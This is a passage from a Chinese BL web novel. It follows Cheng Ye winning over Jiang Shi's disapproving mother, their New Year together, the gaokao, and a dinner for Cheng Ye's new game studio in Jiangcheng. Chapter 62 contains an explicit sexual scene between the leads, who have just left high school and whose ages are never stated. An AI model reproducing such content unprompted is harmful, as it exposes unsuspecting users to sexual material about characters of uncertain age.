一点点刮过,细致地抚过每一寸,一开始并没有那么深,可江时的上颚却被亲得发麻发酸。 程野这人像是压根不需要换气一样,逮着人亲起来就没完没了,跟狗一样叼着舌尖不松口。 把江时逼生气了,又一点点地啄着他的唇瓣,宝贝似的含着唇珠。 江时记吃不记打,哄一哄,舒服了,又忘了前头吃的苦。 他回家时顶着两瓣发红的唇,好在江雪还没回来。江时喝了杯冷水,又做了几道物理题,终于冷静了下来。 江雪回来时已经快天黑了,一进屋,她狐疑的眼神就往江时身上瞥,“你没偷偷跑出去吧?” 江时把桌子上的物理卷子叠叠收进书包里,表情平静,语气自然,“怎么可能。” 江雪以为只要她把江时看好了就万事大吉,可压根想不到程野是个厚脸皮的。都这样了,依旧能天天顶着个纱布往江时家跑。 他不要脸,江雪还要脸呢,周围邻里邻居的,她又不能说他和江时的事,只能拉着脸让他别出现在她面前。 程野就跟没听到一样,任江雪骂得多难听,他该干嘛就干嘛。 这几日天气冷得不像话,别说江时,连江雪早上也起不来。 昨夜下冻雨,家门口的水管被冻爆了。江雪起来时,程野不仅把爆裂的水管修好,还把牛喂了,旁边敞开的火房正烧着火煮猪食,门口打扫得干干净净,连水缸都被洗干净接满了水。 江雪:“……” 程野咧着嘴,露出一个憨厚的笑容,“江姨,你看看,还有什么需要我干的没?” 江雪冷着脸,哐啷一下进屋把门关上。 献殷勤而已,她才不会上当。 她没制止,也没接受,就这么冷处理着。 程野品到了一丝熟悉的味道。 这操作他熟,压根为难不了他,反正这几天他连江时的面都见不到,更别说摸到碰到了,一身的火气没处撒,天不亮就爬起来去江雪家干活。 喂猪、喂牛,年前还把她家的地给犁了,天晴把房顶的瓦翻新了下,由于经常停水,又修了个水池…… 就这么到了过年的时候。 程野天天跑,村里人自然看得到,跟江雪熟的刘玉英最先看不过去,找了她。 她拉着江雪的手,苦口婆心的,“人家小程也不容易,我知道你们帮他的时候也是好心,可他一个学生,都没工作,哪里有钱,你意思意思一下就得了,何必那么为难人。” 江雪人都听懵了,“不是,你在说什么?” 刘玉英道:“别跟我装傻,程野都跟我说了。之前你家江时给了他两万,当时说的是限期一年还,这不一年到了,他一个学生,哪里还得上。” “程野这孩子也是个实心眼的,知道自己还不上愧疚得不行,天天来你家干活。人都这么勤快了,这马上就过年,你意思一下算了,咋还天天板着个脸。” 江雪愣了好一会,“他真是这么跟你说的?” “我还骗你不成?村里人都知道的好不,不然他天天来你家干这干那的,不知道的,还以为瞧上你家谁了。” 江雪:“……” 她这几日心烦意乱的,完全没思考这些问题,没想到程野看着五大三粗的,却想得比她多。 思及此,江雪顿时又心烦意乱了。 而让她感到更心烦的是,刘玉英来过后,程野却不来了。 她想的是,等程野来了,跟他好好说道说道,让他别这样。结果他倒好,直接不来了。 放以前的话,江雪指不定得多开心,可听了刘玉英说的那些话,她心里怎么都不得劲。 一晃就到年二十八。 年前的最后一场集,江雪带着江时去街上买东西。 街上人太多了,但江雪还是一眼就看到站在肉摊前比其他人高一个头的程野。 过年了,人人都穿着新衣裳,他身上穿的还是之前来给她干活时的衣服,有点厚度,但没什么毛,不保暖。身上背着个竹筐,里面空荡荡的。 程野拿着排骨问老板,老板说了个价格,他摇摇头,很是不舍地把肉放了回去。 那种不舒服的感觉又爬上江雪的心头。 程野一回头,看见站在不远处的江雪和江时。 江时从江雪身后探出个脑袋,朝他眨了下眼睛。 笑意从程野眼底流出,然后飞快收敛下去,乖乖跟江雪打招呼。 江雪拉着江时走到肉摊前面,“老板,排骨给我来三斤。” 老板给她称上,江雪把排骨丢进程野的筐里。 程野恰到好处的愣了下,“江姨,你这是……” 江雪咳了咳,语气不自然,“给你,省得别人说你给我打白工。” “这怎么行呢……”程野说着就要把筐拿下来,“我做那些又不是为了什么,怎么能要你的东西,而且我有钱的……” 有钱大过年的连斤排骨也舍不得买? 江雪瞪了他一眼,语气不由得变凶,“你有什么钱?给你你就拿着,那么大个人了,扭扭捏捏干什么?” 似乎是被她的眼神吓到,程野没敢再动,只是神情看起来畏畏缩缩的,“江姨……” 平日里看起来挺机灵的一个人,怎么一到这种时候就笨得不行? 江雪把他的筐扶回去,问他,“还有什么要买的?” 程野老实说:“没有,已经够了。” 江雪垫脚往里看了眼,空荡荡的,只有她丢进去的排骨。她顿了顿,“你就吃这个?” 程野低头,眼底不经意流出一丝落寞,“我家就我一个人,这个够吃了,谢谢江姨。” 江雪心底更不是滋味了。 程野见好就收,问她,“你们东西多吗?我筐很空,可以帮忙背。” 江雪顿了下,罕见地没拒绝。 街上人太多了,江雪人长得瘦小,容易被挤掉,渐渐地,江时就跟程野站一块去了。 她低头称了两斤冻着的虾,回头发现江时扯着程野的衣服,“糖葫芦哎……” 程野掏钱买了个糖葫芦。 江时拿着糖葫芦,眼睛又被一边卖小金鱼的吸引过去,程野又给了买了小金鱼、小乌龟。 江时溜达回江雪身边,旁边是卖水果的,程野站江时身后,声音不大,但江雪听见了。 他问江时,“桂圆要吃吗?” 江时伸手指拨了拨盒子里的金鱼,“啊……都可以。” 程野找老板称了五斤的桂圆。 江雪眼睁睁看着程野掏了一次又一次的钱。早上来的时候她还往江时手里塞了两百,被他踹兜里,到目前为止,愣是一分没花。 这个时候的桂圆差不多快赶上肉价了,程野掏钱的样子完全看不出刚刚买肉时的犹豫。 “……” 江雪心里更不是滋味了。 买了一路的年货,大部分东西都是程野背的,江时手里就拎着个小金鱼,他嫌乌龟丑,丢程野手里。 回了家,程野把东西放在地上,背着只有三斤排骨的竹筐跟江雪告别,“江姨,没什么事我就先回家了。” 很有礼貌,完全看不出之前死皮赖脸的样子。 程野走了,江雪拿着扫帚打扫卫生。 扫一会,看眼江时,再扫一会,再看眼江时。 江时本来在玩手机,被她看得心底发毛,“妈,你有话就说。” 江雪吭哧半天,板着个脸,“我能有什么话。” 江时:“……” 你的表情可不是这么说的。 扫完地了,江雪去收拾买回来的年货。 水果,程野买的,瓜子,程野买的,对联,程野买的,乱七八糟过年玩的东西,也是程野买的。 江雪:“……” 江雪把拎起来的瓜子又放地上,扭头喊:“江时……” 江时被她冷不丁的吓了跳,“怎么了?” “你……”她欲言又止,“算了,跟你说不明白。” 江时:“……” 两分钟后,“江时啊……” 江时关掉手机,无奈开口,“我亲爱的母上大人,你有事就说好吗,你之前还骂我别扭扭捏捏呢。” 江雪看了眼堆在屋子里的东西,终于还是道:“要不你去喊程野来家里过年吧。” 江时愣住了。 江雪说完也觉得丢面,她拉着个脸,语气硬邦邦,“我这不是心软同意了,你跟他讲,我压根就没同意你跟他在一起,我就是见他可怜,家里一个人也没有,买个肉还扣扣搜搜的,他干了这么多天的活,我也不是心黑的,一码归一码,别让外人看了,说我虐待他。” 江时觉得太阳从西边出来了,之前江雪态度那么强硬,怎么赶个集就变好了? “行。”他道:“我待会去跟他说。” 江雪推了他一把,“待会什么,你现在就去。” 说完,她又拿起放在一边的背篓,“我还得再去趟街上。” 下午没什么人,温度降低,哈出一口气都能变成雾气。 很多摊贩都收摊了,江雪来到一家正在收拾衣服的摊子前。她站在前面往后看,一眼就看中最里面那件黑色外套。 里面带着厚厚的绒毛。 “老板……”她喊:“你们那个衣服,最大码的,给我来一件。”【你现在阅读的是 】 60-70 第61章 江时想了半天也没想明白程野是怎么搞定他妈的。 其实也不算搞定。江雪依旧嘴硬,但愿意让程野来家里过年,江时不会傻到什么都不懂。 早上还有太阳,下午就开始阴沉沉的,天气预报说有雪。 江时到的时候程野正在清洗家具。他额头的纱布揭了下来,露出一道几厘米的伤口,这么冷的天,只穿着一件毛衣站在家门口,撩起袖子,手里抓着椅子,露着结实的小臂。 刮着冷风,江时戴着衣服上的帽子,下巴戳进领口,露出来的一双眼睛看起来很大。 程野站定,“偷偷来的?” 这话说得…… 江时用鞋尖戳了下他的脚后跟,“怎么说话的?” 程野把手里的椅子放下,“我错了。” 于是江时笑了出来,眼底带着点鲜活的意味,“你猜刚刚回去的时候我妈怎么跟我说?” 程野道:“让你来喊我回去跟你们过年。” 这回轮到江时愣住了,“你是怎么知道的?” “猜到的。”程野搓搓手,把手搓暖和后才把江时有些歪的帽子拉正,“我以为要等到明后天,没想到江姨比我想象的还要心软。” 一缕头发从帽檐里翘了出来,江时没发觉,顶着翘起来的头发仰头看着程野,“你故意的?” “不能说是故意,只是在合适的时间干合适的事,算不上欺骗,不过也利用了她的善良。” 江时回忆了番,总算回过味来,“欲擒故纵是吧?” 先是殷勤一波,然后再冷淡一会,最后适时卖点可怜,这套流程下来,别说江雪,搁谁都招架不住。 “不是程野……”江时道:“你心眼可真多,以前也不会是这么对我的吧?” “怎么会。”程野笑了声。 “我什么时候对你冷淡过了?”- 雪化了又下,地上堆着白,这是近年来林城最冷的一个冬。 年三十这天家家户户都忙,江时一贯懒散,冬天大部分时间窝在被子里,哪怕过年这天,他也赖到了将近十一点才起床。 一到中午,堆着的雪又开始融化,屋檐滴滴答答的,里面却很暖和。 炉子上炖着猪肉,江雪拿着毛巾擦家具,烟熏腊肉的味道飘进江时鼻子里,他站在房间门口发了会呆才醒过神。 江雪道:“饿不?旁边有刚炸好的酥肉。” 江时懒洋洋打了个哈欠,眼神往外一瞥,看见了蹲在他家门口拔鸡毛的程野。 “……” 发现他的目光,江雪凉飕飕地阴阳怪气,“这都几点了,你要不直接睡到晚上吃年夜饭好了。” 江时汲着拖鞋走到桌子边用手捏了快酥肉放进嘴里,然后顺势坐下,看着屋里屋外的两人忙活着。 江雪拿着拖把从他脚底拖过,“你待会去把对联贴了。” 领到新年的第一个任务,江时吃了几块酥肉,又啃了个苹果,才从一大堆年货里翻到对联。 他拿着对联出门,程野把鸡毛拔完了,拿着刀开肠破肚。 江时站他身后,“你什么时候来的?” 大冷的天,程野穿的还是之前那件毛衣,发梢上染着雪融化的水汽。 “早上。” 说完,他瞥了眼江时,“贴对联?” 江时晃晃手里的对联,“母上大人安排的任务。” 程野道:“等把这个弄完,我跟你一起。” 江雪拖完了地,回头一看,程野拎着个鸡进来。甚至都不需要她吩咐什么,眼里格外有活地拿着刀把鸡剁了。等她洗完拖把,程野已经把剁好的鸡肉放进锅里炖上了。 天一亮,程野就赶过来,不是忙这就是忙那的,江雪没说话,但都看在眼里。她正准备叫他去歇歇,结果程野转头就拿着浆糊去门口贴对联去了。 原本贴对联的江时手里拿着包零食,大爷一样坐在院子里指挥程野,“左边点,过了、过了……哎呀!程野你笨不笨,贴个对联都贴不好。” 江雪:“……” 不知道为什么,拿着拖把的手顿时有些痒。 江时吃完一包零食,回屋拿新的,看见江雪,道:“妈,我晚上想吃锅包肉。” 江雪说:“巴掌吃不吃?” 江时:“??” 不是,大过年的。 …… 程野一身使不完的牛劲,干起活来麻利又勤快。不得不说,这是江雪过得最轻松的一个年。 她诡异地品到一丝儿子娶了个勤快媳妇的感觉。 没出息的儿子坐她身边嗑瓜子,旁边还放着程野洗好的水果,坐没坐相,懒散得不像话。 江时张嘴喊,“程野,我想吃糖。” 程野说:“你今天已经吃很多,不能再吃了。” “胡说,怎么可能,你哪只眼睛看见了?” “两只眼睛看见的。中午摸了三块,下午摸了两块,刚刚那会的功夫,你又吃了两块。糖我收起来了,明天再吃。” “……” “不是,你要搞清楚,这是我家,你是客人,哪有客人这样管主人的?” 程野说:“那你问问你妈,看她让不让你吃。” 江雪站起来,“我去喂鸡。” 她端着玉米粒走到门边,扭头往里看。江时似乎生气了,抓起一个橘子往程野身上丢。程野接过橘子,剥了皮塞回他手里。 江雪忽然就理解江时当时说的那句—— 再也没人会像程野那样对他好了。 当时江时跟她解释了很多,解释什么是同性恋,世界上的同性恋的比例又有多少…… 她不懂什么是同性恋,她只是一个希望孩子幸福的母亲。 站了几秒,江雪忽然道:“程野,堂屋的角落里有个背篓,背篓里有件衣裳,本来给江时买的,结果不小心买大了,将就着给你穿吧。” 程野愣住了。 等他回神时,江雪已经端着碗走远了。 江时嘴里咬着橘瓣,朝他抬了抬下巴,露出一个狡黠的笑,“看吧,我就说,我妈就是典型的嘴硬心软。” …… 以前在宋家的时候,年夜饭都是家里阿姨准备的,宋博和孙婉云吃完一顿精致寡淡的饭后,第二天就拎着各种昂贵的礼品到处拜年。 阿姨们放假回家,留给江时的只有残羹剩饭,空旷的别墅安静得连他的呼吸都能听见回声。 但江家的屋子小小的,矮矮的四方桌上放着远没有之前丰盛的菜。江雪的手艺很一般,做的大部分都是地道的农家菜,量大,没什么摆盘可言,唯一好看一点的应该只有程野炒的锅包肉。 但江时还是拿起手机认认真真地拍了照片。 他眼底氲着升腾的热气,举起杯,“新年快乐!” 冬雪在屋顶消融,新年的第一支烟花在夜空绽放。 “新年快乐!” …… 临近高考,江时还没怎么感受新年的氛围,初五一过,就开了学。 开学就是一模,江时终于稳超二本线。 他问程野,“你打算考去哪里?” 他以为程野要去京市,结果他停顿两秒,回答江时,“江城。” 江时有些诧异地看向他。 程野道:“我以后打算在江城发展。京市虽然机会更多,但水太深,我没背景,在那种地方混不开。江城沿海,里面都是些新崛起的商户,根基浅,对我来说是最合适的地方。” 江时没想到程野还想了那么多,“那你是考江城的A大?” “嗯。” 程野垂着眼皮看他,“少爷呢?” 江时把脸搭在桌子上,浅浅叹了口气,“我不知道……” 他之前被剥夺了爱好和追求,现在让他自己选,反而不知道要干什么。 他选不了,程野就给他选。 隔天程野写个大学放江时面前,“考这个。” 江时垂死病中惊坐起,“我?考B大?你开玩笑吧。” “没有。”程野按了下他后脑勺翘起来的头发,“我相信你可以。” 江时垮着一张脸,“我并不相信我自己。” B大虽然不如A大,但好歹也算个一本,他现在才堪堪过二本线,何德何能? 课间大部分人都在睡觉,程野靠在椅背上,讲话时声音很低。 “那少爷不想跟我在一起吗?B大就在A大隔壁。” 江时说:“到底是谁想和谁在一起?” 程野很是坦然,“是我离不开少爷,一想到将来要跟少爷分开,我就整宿整宿的睡不着。” “少爷就当可怜可怜我,为了我,考个B大怎么样?” 江时脸有些热,“那你怎么不干脆让我考A大算了?” “如果你能考的话……” 江时不能。 荒废了好几年的学习,哪怕江时基础还不错,可在短短的一年里要让他考上A大,做梦他都不敢这么做。 但B大,还能勉强搏一搏。 短短的几个月里,江时终于体会到高三生不如死的感觉。 由冬转夏,考试那三天热得人眼皮都黏着汗,一考完,江时感觉整个人都空了。 回到家,他什么都没干,躺家里昏天黑地睡了好几天。 程野一考完人就不在了,趴江时床边叽里咕噜说了一堆,江时一个字都没听进去,只是大概知道他好像是去赚钱了。 话语里没有对摆脱高三生活的欣喜,只有对金钱的渴望。 睡了五天,高新和抱着新到手的手机来找江时玩游戏。 程野时隔半个月回来,从家里捉出两个网瘾少年。 网瘾少年江时看见他时还有些恍惚,“程野?你这么快就回来了?” 快? 程野压着眉沉沉笑了。 第62章 江时被提溜回了程野家。 他家屋子平时没人住,没了人气,木头房子被虫子一点点蛀空,看起来腐朽得不行。 江时屁股下垫了个外套,被抱着坐上熟悉的桌子,腰碰着身后的木板墙,发出让人牙酸的声音。 下一秒,一只手托着他的后颈,将他往下拉,干燥的唇顿时就压了过来。 程野亲得很急躁,唇舌不留余地地侵占,像是不满江时刚刚的态度,亲完了又咬了口他的下唇。 江时嘶了一声,抬手抓了把跟前刺棱棱的头发,“程野,你是狗吗,动不动就咬人干什么?” 程野被扯得头皮发紧,抬着眼,“游戏好玩吗?” 江时:“……” 他道:“你的肚量简直比鸡还小,小肚鸡肠。” 程野说:“高考完了,语文就还给语文老师?” “……” 屋子里灰扑扑的,亲完了人,程野收拾了下,把江时送回家。 家门口放着一堆程野买的东西,有给江时的,也有给江雪的。他回来都没回家,直接去江时家,结果一个人也没有,在高新和家抓到沉迷游戏的某个人。 这么会功夫,出去遛弯的江雪回来了,看着回来的程野,她总算明白家门口的那堆东西是怎么来的。 “你买的?” “嗯。”程野应了声,“天热了,我看你之前穿的那些衣服都旧了,就买了些新的。” 江雪翻着看了看,都是些很好的料子,“哎哟!你才多大,哪里来的钱?花费这些干什么,我没衣服不会自己买吗?” “不贵,这段时间出去工作赚了点钱。” 江雪以为他去打暑假工,“这钱你留着自己用,后面还要上大学呢,这么花费怎么行?赶紧拿去退了。” 程野依旧老一套,“吊牌丢了,退不了。” 不等江雪说话,他转移话题,“我回来待不了几天,江时天天在家里也无聊,我想带他过去玩玩。” 他这么一说,江雪以为他要带着江时一块去打工,顿时没空纠结衣服,“江时这个样子,干不了什么活吧?到时候做个两天做不了,还给你添麻烦。” “不用他做什么,就是去玩。” 之前太忙,程野实在抽不出时间,他也不想江时身边没人陪,所以没把人接过去。 现在忙得差不多,有时间陪人了,程野就赶了回来。 他道:“我认识了几个朋友,刚好过两天聚餐,带他去吃饭。” 江雪沉思了会,“行,你带他去吧,省得天天在家玩手机。刚好我这段时间想把家里的房子推了新建个平房,江时不在家也好。” 被莫名其妙安排的江时愣了愣,“你要修房子?” “这木头房子住起来又冷又潮,光线还不好,顶上的瓦前段时间刚翻过,结果这两天一下雨就开始漏雨,烦得不行。现在家家户户都砌平房,我寻思着也修一个算了。” 江时道:“那我留下来帮你……” “你能帮我啥?我直接花钱请工人来弄。”江雪道:“你在家我还考虑要把你安置到哪里去,现在好了,你跟程野去江城,给我省事了。” 江时:“……” 你可真是我亲妈。 程野考完试直接去江城,家里好几个月都没人住,到处都是灰尘,江雪想了想,干脆直接让他来跟江时睡。 村里消息闭塞,她也不知道两个男的要怎么谈恋爱。 你有的我也有,上面下面都一个样,她以为这种最多也就拉拉小手,主打一个精神恋爱。 谈恋爱了也是两个男的,两个大男生睡一起怎么了? 江时:“……” 你可真是我亲妈。 程野面上不显,应得却很快,“谢谢江姨,我还在发愁今天晚上怎么办呢,只是会不会很打扰你们?” “怎么会。”江雪道:“江时天天晚上躲被子里玩手机,你刚好管管他。” 江时又:“……” 不是,就没人问问他的意见? 江雪是真的不懂,至于程野,存的什么心思江时用脚想都知道。 他以为江雪在家,程野多少能收敛一点,结果一挨着江时他就把手扣在了他腰上。 这段时间天气热,再加上江雪厨艺不怎么样,做的菜江时吃得都不多,这么多天过去,一点肉也没涨,手掌贴着都带有几分硌手的弧度。 夏天穿得薄,程野手指往里探了点,掌心堪堪贴在胯上,修长的指尖往下攀爬,抓了一把。 他人靠在江时的枕头上,丝毫没有当客人的自觉,手脚摊开,身姿舒展,不仅把不大的床占了,还把床上的主人也给占了。 手指抓了也不松开,就这么搭着,像搭在自己身上一样随意。 “少爷瘦了,连屁股都没以前翘了。” 程野一回来,江时就接二连三的无语,哪怕早有准备,但还是被他的骚话震撼到。 “你、你讲话能不能别……” 屋里只开了盏江时买回来的小夜灯,光线朦胧,少年的脸晕着一层很浅的粉。 程野提着他的腰把人按在怀里亲。 江雪哪里知道男同的花样,他们不仅躲在被子里拉小手,甚至还会击剑。 可怕得很。 被剥出来的时候江时还有些懵,直到两个贴在一起,耳边响起程野粗重的呼吸,带着茧子的宽大手掌圈着两个也不费劲。 挤压碰撞时发出叽叽咕咕的声音。 江时脑袋空白了瞬,然后直接头皮发麻。 “程野……”他像溺在水里,讲出的每一个字都很费劲,“你……干什么?” 程野手上的动作停了两秒,然后摁住,看江时在他怀里偏着头轻颤。 “少爷感受不到吗?这都还要问我。” 他贴着江时,张嘴咬住他的耳朵,又色情的伸出舌头舔弄,“最近工作压力太大,憋得很。” 指尖逐渐变得粘稠。 “少爷又不在我身边,没了你,撸也撸不出来,全攒着留给你了。” 他的话像往江时身体里丢了团火星,惹着干燥的情绪,瞬间烧了起来。 程野还不知收敛。 “半个月没见,少爷有动手吗?想的是谁?” 江时咬着唇没说话。 于是程野便停了动作。 他这时又没了刚刚的急躁,慢悠悠的,有时甚至还把手抽出去,隔靴搔痒,怎么都挠不到江时的点。 江时气得张嘴咬在他肩膀上,呜咽着开口,“程野,你动动。” “你还没回答我的问题。” “……” 江时闭着眼,眼尾晕着红,等了半天,见程野是真的不动,自暴自弃地把脸彻底埋上。 “没动过。” 程野低笑了声,“不想吗?” 江时在被子底下踹了他一脚,“你以为人人都是你。” 程野摸索了番。 “摸到了,少爷存了好多啊……” 无论过去多久,江时还是习惯不了程野这张嘴。 他挣扎的动作大了点,连着声音也加大,“程野!” 程野说:“嘘!小声点我的小少爷,要是被你妈听到就完了。” 江时咬牙切齿,“你还知道怕被我妈听到。” 江时和江雪的房间并不挨着,一左一右,中间隔着个堂屋,但木头房子的隔音并不好。 “没办法……”程野慢悠悠的,“我不像少爷,打起游戏来什么都不记得,我欲望旺盛,少爷又不给上,憋久了,看见少爷就想发情。” “……” 击剑击到半夜,江时几乎被榨干,直到第二天中午还在睡。 程野倒起得很早,衣服一穿,顿时又人模狗样的。 他给江雪把猪了喂了,又去地里割了几大捆草喂牛。辣椒地里的杂草长高,江雪买了药水要去除草,程野看见,背着水箱顶着大太阳去了地里。 太阳火辣辣的,他拿着喷嘴,打了半桶药水,接到王卓的电话。 程野要开工作室,少不了要员工,但他人太年轻,原先的团队只有王卓愿意留下来跟他一起干。 这么一来,王卓顿时成了公司骨干。 前段时间整个公司的人都忙得脚不沾地。几天前,研发的小游戏成功上线,这回他们没好高骛远,专注于手机小游戏,成本低,时效短,很适合他们这种初步成立的小公司。 好在小游戏的反响还不错。 于是程野给大家放了一个星期的假,定在几天后开庆功宴。 王卓打电话给程野确定行程,“老大,你明天几点的火车,我来接你。” 程野掐死辣椒叶上的小青虫,“明天坐飞机,下午五点到。” 程野的抠搜王卓有目共睹,这回见他愿意坐飞机,还以为是公司赚了钱,终于舍得大方。 “那我去机场接你,对了,我把我住的杂物间打扫出来,放了一张床进去,以后你来可以住那间,不用天天睡公司。” “不用。”程野按压着水箱,发出吱呀吱呀的声音,“这两天你帮我定个酒店,我住酒店。” “那定多少钱的?” “最好的。” 王卓:“……” 大前天还坐在他的出租屋里吃着三块一碗的炒饭,两天不见,都开始坐飞机、住最好的酒店了。 王卓怀疑自己的老板被人夺舍了。 程野又道:“我发几个菜给你,到时候你跟饭店的人说一下,把这几个菜加上去。饮料的话别点便宜的啤酒,然后加一杯鲜榨橙汁,跟厨子说菜里别放芹菜,姜也不要。” “暂时就这些,有想到的我再和你补充。” 王卓:“……” 挂了电话后,他人有些恍惚,直到看见程野发来的菜,他更恍惚了。 公司人手不够,刘满和小六也在。 所谓的“公司”,其实只有一间空荡荡的屋子,里面放着几张椅子和两个电脑,角落堆着乱七八糟的东西,看起来更像是个仓库。 刘满干后勤,正在收拾东西,瞧见王卓一脸恍惚的样子,问了嘴,“怎么了?” 王卓举着手机给他看,“我感觉老大被夺舍了。” 他把事情跟刘满讲了讲,“我跟他少说也认识快一年了,老大真是我见过最节俭的人。之前在这里待的半个月,我看他身上就几件衣服换着穿,裤子都磨出一个洞了,愣是舍不得换。” “今天不知道抽什么风,张口就是最贵的酒店,还让我加菜。” “你知道他加的是什么菜吗?”他把手机往刘满眼前怼,“你自己看,哪样不贵,这顿饭吃下来得花多少钱?” “你说他是不是忽然一下赚了钱,就忍不住报复性消费啊?” 刘满拿着手机看了看,自然也看到了跟在菜后面一堆零零碎碎的要求。 他忽然就笑了,把手机丢回王卓怀里。 “夺没夺舍不知道,但我敢打赌,他绝对不是一个人来的。” 第63章 王卓不信邪,第二天早早去机场等着。 他知道程野高,往人堆里一站,一向都是鹤立鸡群的那个,所以人群出来的时候,王卓下意识就往个子高的人身上瞥。 他第一眼的确看见了程野,但下一秒就被他身边的人吸引了视线。 少年穿得很简单,黑裤白衣,天气热,头上戴了顶鸭舌帽,帽檐拉得很低,只露出半张脸,肤色白皙,下巴形状好看,偏头不知道跟程野说了什么,王卓便见程野很罕见得笑了下。 刘满说得不错,程野的确不是一个人来的,但王卓怎么也想不通,刘满是怎么猜出来的? 就在他愣神的功夫,程野带着人走到他跟前。 “他就是之前跟你说过的,王卓。” 王卓搓掉手心闷出来的冷汗,朝江时伸出手,“你好,王卓。” 江时和他握了下,“你好,江时。” 站一边的程野看着两人短暂交握的双手,眉心不易察觉地皱了下。 他往前一步,站在两人中间,伸手拉过江时的手,拢着他的指尖,用自己的手包裹着捏了捏。 “叫车了吗?” “叫了。”王卓说道,朝两人看了眼,总觉得他们的行为有些过于亲密了点。 其实他们站得不算近,王卓也没看到程野和江时交握的双手。只是程野平时给他的感觉太冷淡了,他以为程野就是这么个性子,但骤然出现的江时让他变得像个正常人。 正常才觉得怪异。 不过王卓没多想,带着他们朝出租车走去,“饭店定好了,他们都到了,就等着我们过去。” 后面,没人在意王卓的话,江时把手从程野手里抽出来,“热死了,程野你离我远点。” 程野远离了两厘米,“我看你手上有灰。” 江时说:“我看你脑袋有坑。” “……” 走在前面的王卓一无所知,拉开车门回头憨笑,“到了,我们上车吧。” 车子朝饭店驶去,江时跟程野坐后面,王卓坐副驾。 讲实话,他对从未听说过的江时很好奇,特别是他人往粗旷的程野身边一站,反差很明显,怎么看都不像是能和程野当朋友的样子。 后视镜里照出江时的身影。 到了车上,他摘下帽子,整张脸彻底露出来。五官精致,脸上的每一笔都勾勒得恰到好处,站在人群里绝对是显眼的存在。 江时低头从程野兜里翻出一包纸巾,他拿了张出来,撩开额前被汗水浸湿的头发,露出光洁的额头,然后将纸贴了上去。 风从外面往里吹,后视镜里的少年迎着风,舒服地眯了眯眼。 王卓看得有些呆。 几乎是一瞬间,他感受到一道冷冽的目光落在身上。王卓顿了下,目光在后视镜里偏移几分,和一双漆黑的眼眸对上。 那眼神很冷,像是被侵犯领地的野兽发出的警告。 他收回目光,缓了几分钟才伸手往后摸,摸到一手的冷汗。 …… 江时把擦完汗的纸丢回程野手里,让程野举着手机给他照着整理发型。 王卓定的饭店在江城很有名,修得很大,但只有十层。在这里,只要有钱都可以进来吃,只是楼层越高代表的档次也就越高,越往上走,就不是什么人都能进去的。 江时小时候来这里吃过几顿饭,但宋家的实力,最高也只去过八层。 兜兜转转,没想到还有能回这里吃饭的一天。 他们打的出租车进不去,只能在门口下车。 江时站在门口抬头看着头顶鎏金的牌匾,“好久没来,这里还是这个样子。” 每次来这里都是跟着宋博应酬,江时不太记得饭菜的味道,唯一记得的只有…… “他家的鱼做得还不错,挺好吃的。” 鱼…… 程野愣了愣,“我没在菜单上看见鱼。” “见不到正常。那鱼五楼以上才供应,你能点到的,不过是些常见的菜罢了。” 他三言两语给他们解释了下楼层的规则。 这么大个酒楼,愣是把江城的阶级特权玩得明明白白。 王卓听了嘴,“没想到你对这里还挺了解,我在江城这么多年,也只听说这个酒楼很有名,没想到里面还有这么多的弯弯绕绕。” 江时抬脚往里走,“小时候来吃过,所以了解一点。” 程野跟在他身边,漫不经心的,“有一天我也会让你吃上鱼的。” 江时愣了下,解释,“那鱼就是河里的鱼,只是厨师的手艺好了点,没什么特别的。” “不一样……”程野说:“你喜欢。” 鱼不特别,但江时喜欢就特别。 江时没把他的话放在心上。他不否认程野有这个实力,但就凭他现在这个小得拢共只有一间屋子的办公室,等他能到五楼吃饭,厨子都不知道还在不在。 他笑着应了声,“行啊,那我等着,等程老板带我上五楼。” 虽说工作室赚了一笔,但庆功宴还没奢侈到那个地步。王卓定的是酒楼的特价桌,也就是一楼大厅门边靠近走廊的那一桌。 那是一个很不方便的地方,进进出出都要从他们身边走过,再加上门从来不关,从走廊经过的人都能看见里面,毫无隐私可言。 但打六折。 王卓含泪拿下。 工作室里招的员工都是些刚毕业没多久的大学生,能来这种地方吃饭,别说在走廊边,就是让他们蹲在走廊里吃也乐意。 江时被安置在最隐蔽的靠墙位置,程野坐在他旁边。 除去王卓、刘满和小六三人,工作室里还有三个人,两男一女。 另外三人别说江时,就连程野都是高考后才见过。程野年纪不大,但常常冷着脸,讲起话来丝毫不留情面,他们打心底都有点怵他。见了江时也不敢问是谁,只是悄悄打量。 程野没什么当老板的自觉,坐江时旁边给他倒水,又把他的碗筷拿出来烫开水,这么望去,端坐着不动的江时才更像是老板。 王卓也在烫碗。他抽出筷子,压低声音问身边的刘满,“这位小哥什么来头?从来没见老大这么对过别人。” 相比于其它人的拘谨,刘满自在多了,听着王卓的话,他也压低声音,“什么来头我也不知道,但我知道,这位可是程哥的命根子、心尖子,惹不得,碰不得,重视不得,也忽视不得,反正就一句话,宁愿得罪程哥也别得罪他。” 想着刚刚在车里程野的眼神,王卓抖了抖。 一楼人多,菜上得格外慢,江时喝了一杯橙汁,也就上了盘凉菜。 他站起来,“我去上个厕所。” 程野也跟着站起来,“我陪你去。” 江时当即瞪了他一眼,“你去个屁,坐着。” 又不是小孩子,上个厕所也要人陪。 程野还是不放心,“这里太大,你找不到……” “我比你熟。” 程野没话说了。 江时拉开椅子出去。他是来过几次,但没在一楼呆过,问了服务员才找到厕所。 他上完厕所出来,远远就看见门边来了群年龄不大的年轻人,有男有女,说说笑笑的。 这一年书看得多,江时眼睛有点近视,度数不高,他一直没戴眼镜,因此也看不清那群人的五官。 他没在意,甩甩手上的水渍,朝吃饭的大厅走去。 走了还没两步,身后忽然传来一道略显疑惑的声音,“宋时?” 许久没听到这个名字,江时还有些恍惚,直到对方叫了第二声他才回神。 他回头,身后的一群人神色各异。 时间过去太久,江时费了些劲才把他们的脸和名字对上号,都是他以前的“同学”们。 站在前面的就是当时在宋老太太宴席上找茬的谢鸿,将近一年没见,他人胖了些,染着一头夸张的绿色头发,穿得浑身都是钻。 他插着兜,往江时那里走了两步,“哟,我当是谁呢,这不是当初的宋小少爷吗?来这里干什么,吃饭啊?” 江时懒得跟这些人纠缠,扭头就走。 谢鸿比他还快,几步窜到他跟前,拦住江时的路,“慌什么,老同学见面叙叙旧都不行?” 江时冷着脸,“我跟你没什么可叙的,让开。” 谢鸿不动,上下扫视他,但让他失望的是,江时和之前相比依旧没什么变化。人虽然看着瘦了,但唇红齿白的,那白色T恤看起来倒很简单,什么标识也没有,但穿在他身上版型很正,看起来干净清爽。 